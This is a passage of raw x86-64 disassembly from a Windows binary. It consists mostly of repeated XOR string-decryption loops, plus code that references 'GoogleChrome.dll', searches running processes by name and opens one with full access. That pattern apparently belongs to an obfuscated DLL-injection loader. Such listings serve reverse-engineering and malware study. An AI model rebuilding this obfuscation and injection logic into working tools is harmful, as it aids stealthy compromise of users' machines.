jl 0x14000cb40
cmp r8d, 0x1a
jge 0x14000cc93
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14000cc60
cmp byte [r10 + 0x19], 0
je 0x140008593
cmp r15d, 2
jl 0x14000cdf3
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x18
jl 0x14000cce0
cmp eax, 0x1a
jge 0x140008593
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x1a
jl 0x14000ce00
jmp 0x140008593
mov rcx, rdi
call fcn.1400031d0
test al, al
jne 0x14000d1a9
mov byte [rbp - 0x67], al
lea rdx, [rbp + 0x8e8]
lea rcx, [rbp - 0x67]
call fcn.14000ea40
mov r10, rax
cmp byte [rax + 0x18], 0
jne 0x14000cff3
mov r8d, r14d
cmp r15d, 2
jl 0x14000cfb3
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000cea2
cmp r8d, 0x19
jge 0x14000cff3
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14000cfc0
cmp byte [r10 + 0x18], 0
je 0x14000d193
cmp r15d, 2
jl 0x14000d153
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x18
jl 0x14000d040
cmp eax, 0x19
jge 0x14000d193
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x19
jl 0x14000d160
mov rcx, r10
call fcn.140001050
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000859d
lea rdx, str.GoogleChrome.dll
mov rcx, rdi
call fcn.140001330
mov rcx, rdi
test al, al
jne 0x14000d530
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rbp - 0x6b], 0
lea rdx, [rbp + 0xab0]
lea rcx, [rbp - 0x6b]
call fcn.14000ea70
mov r10, rax
cmp byte [rax + 0x21], 0
jne 0x14000d383
mov r8d, r14d
cmp r15d, 2
jl 0x14000d341
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000d230
cmp r8d, 0x22
jge 0x14000d383
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x14000d350
cmp byte [r10 + 0x21], 0
je 0x14000d523
cmp r15d, 2
jl 0x14000d4df
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x20
jl 0x14000d3d0
cmp eax, 0x22
jge 0x14000d523
movsxd r8, r14d
add r8, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x22
jl 0x14000d4f0
mov rcx, r10
call fcn.140001050
jmp 0x14000859d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp + 0x2184]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x2180], 0x130
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000d8d8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov byte [rbp - 0x6a], 0
lea rdx, [rbp + 0xc18]
lea rcx, [rbp - 0x6a]
call fcn.14000e9d0
mov r10, rax
cmp byte [rax + 0x26], 0
jne 0x14000d733
mov r8d, r14d
cmp r15d, 2
jl 0x14000d6f1
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000d5e0
cmp r8d, 0x27
jge 0x14000d733
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14000d700
cmp byte [r10 + 0x26], 0
je 0x140008593
cmp r15d, 2
jl 0x14000d893
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x20
jl 0x14000d780
cmp eax, 0x27
jge 0x140008593
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x27
jl 0x14000d8a0
jmp 0x140008593
mov esi, r14d
lea rdx, [rbp + 0x2180]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14000d93e
nop
mov rax, rbx
lea r8, [rbp + 0x21ac]
sub r8, rbx
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14000d917
inc rax
test ecx, ecx
jne 0x14000d900
test edx, edx
je 0x14000d938
lea rdx, [rbp + 0x2180]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14000d8f0
jmp 0x14000d93e
mov esi, dword [rbp + 0x2188]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x14000dcc8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov byte [rbp - 0x69], 0
lea rdx, [rbp + 0x908]
lea rcx, [rbp - 0x69]
call fcn.14000ea10
mov r10, rax
cmp byte [rax + 0x19], 0
jne 0x14000db23
mov r8d, r14d
cmp r15d, 2
jl 0x14000dae1
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000d9d0
cmp r8d, 0x1a
jge 0x14000db23
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14000daf0
cmp byte [r10 + 0x19], 0
je 0x140008593
cmp r15d, 2
jl 0x14000dc83
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x18
jl 0x14000db70
cmp eax, 0x1a
jge 0x140008593
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x1a
jl 0x14000dc90
jmp 0x140008593
mov rcx, rbx
call fcn.1400031d0
test al, al
jne 0x14000e028
mov byte [rbp - 0x68], al
lea rdx, [rbp + 0x8a8]
lea rcx, [rbp - 0x68]
call fcn.14000ea40
mov r10, rax
cmp byte [rax + 0x18], 0
jne 0x14000de83
mov r8d, r14d
cmp r15d, 2
jl 0x14000de3f
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000dd32
cmp r8d, 0x19
jge 0x14000de83
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14000de50
cmp byte [r10 + 0x18], 0
je 0x1400090a3
cmp r15d, 2
jl 0x14000dfe3
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
